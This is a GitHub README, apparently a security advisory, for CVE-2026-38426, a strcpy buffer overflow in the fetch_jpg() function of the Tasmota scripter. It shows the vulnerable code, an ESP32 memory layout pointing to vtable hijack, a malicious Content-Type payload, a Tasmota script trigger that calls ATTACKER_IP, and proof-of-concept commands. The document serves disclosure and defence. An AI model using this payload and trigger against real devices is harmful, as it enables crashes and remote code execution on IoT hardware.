sermikr0/CVE-2026-38426
GitHub: sermikr0/CVE-2026-38426
该项目复现并分析了 Tasmota 固件 fetch_jpg() 函数中 boundary 缓冲区溢出漏洞(CVE-2026-38426),提供了完整的 PoC 脚本和内存布局分析。
Stars: 0 | Forks: 0
# CVE-2026-38426:Tasmota fetch_jpg() 中 boundary[40] 的 strcpy() 栈缓冲区溢出
**CVE:** CVE-2026-38426
**严重程度:** 严重 (CVSS 9.8)
**产品:** Arendst Tasmota
**受影响版本:** <= 15.3.0.3
**文件:** `tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino`
**函数:** `fetch_jpg()` — case 0 (初始连接)
**作者:** Saidakbarxon Maxsudxonov
**披露:** 负责任的 — 发布前已报告给 Tasmota
## 摘要
Tasmota 的脚本驱动程序的 `fetch_jpg()` 函数中存在一个经典的 `strcpy()` 缓冲区溢出漏洞。从 HTTP `Content-Type` 响应头中提取的 MJPEG boundary 字符串在没有任何长度验证的情况下被复制到一个 40 字节的固定缓冲区 (`boundary[40]`) 中。控制 MJPEG HTTP 服务器的攻击者可以提供一个超过 39 个字符的 boundary 字符串,使缓冲区溢出并破坏相邻的堆内存——从而有可能在 ESP32 上实现远程代码执行。
## 漏洞代码
```
// tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino
struct JPG_TASK {
char boundary[40]; // ← FIXED SIZE — only 40 bytes!
bool draw;
uint8_t scale;
uint16_t xp;
uint16_t yp;
WiFiClient stream; // contains vtable pointer
HTTPClient http; // contains vtable pointer
} jpg_task;
// Case 0: initial connection
String boundary = http.header("Content-Type");
// Server sends: "multipart/x-mixed-replace; boundary=AAAAAA...AAAA" (>39 chars)
char *cp = strchr(boundary.c_str(), '=');
if (cp) {
strcpy(glob_script_mem.jpg_task.boundary, cp + 1); // NO LENGTH CHECK — OVERFLOW!
}
```
## 堆内存布局 (ESP32)
```
struct JPG_TASK layout:
+0x00 boundary[40] ← overflow starts here
+0x28 draw (bool) ← corrupted
+0x29 scale (uint8_t) ← corrupted
+0x2A xp (uint16_t) ← corrupted
+0x2C yp (uint16_t) ← corrupted
+0x2E WiFiClient ← vtable ptr overwritten → RCE
+0x7E HTTPClient ← vtable ptr overwritten → RCE
```
使用攻击者控制的值覆盖 `WiFiClient` 或 `HTTPClient` 的 vtable 指针,在随后调用任何虚方法 (`read()`, `write()`, `connect()`) 时将触发 RCE。
## 攻击场景
攻击者运行一个 HTTP 服务器,Tasmota 通过 `fetchjp()` 连接到该服务器。服务器响应一个 `Content-Type` 头,其中包含长度超过 39 个字符的 boundary 字符串:
```
HTTP/1.1 200 OK
Content-Type: multipart/x-mixed-replace; boundary=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
```
Tasmota 的 `strcpy()` 将 50 多个字节复制到 40 字节的 `boundary` 缓冲区中,溢出并覆盖了相邻的 struct 字段。
**通过 Tasmota 脚本触发:**
```
>D
>B
fetchjp(ATTACKER_IP:PORT/stream,0,0,1)
```
## 概念验证
```
python3 CVE-2026-38426_poc.py --port 8888 --mode crash
python3 CVE-2026-38426_poc.py --port 8888 --mode info
```
完整实现请参见 [CVE-2026-38426_poc.py](CVE-2026-38426_poc.py)。
## 影响
- **机密性:** 高 (通过 ESP32 上的 vtable 劫持实现 RCE)
- **完整性:** 高
- **可用性:** 高 (必定崩溃)
- **攻击向量:** 网络
- **身份验证:** 无需
## 时间线
- **2026-03-29:** 发现漏洞并报告给 MITRE
- **2026-03-29:** 分配了 CVE-2026-38426
- **2026-05-xx:** Tasmota 发布补丁 (v15.3.0.4+)
## 参考
- [Tasmota GitHub](https://github.com/arendst/Tasmota)
- [xdrv_10_scripter.ino](https://github.com/arendst/Tasmota/blob/development/tasmota/tasmota_xdrv_driver/xdrv_10_scripter.ino)
- CVE-2026-38426
标签:ESP32, Go语言工具, IoT安全, Tasmota, 缓冲区溢出, 逆向工具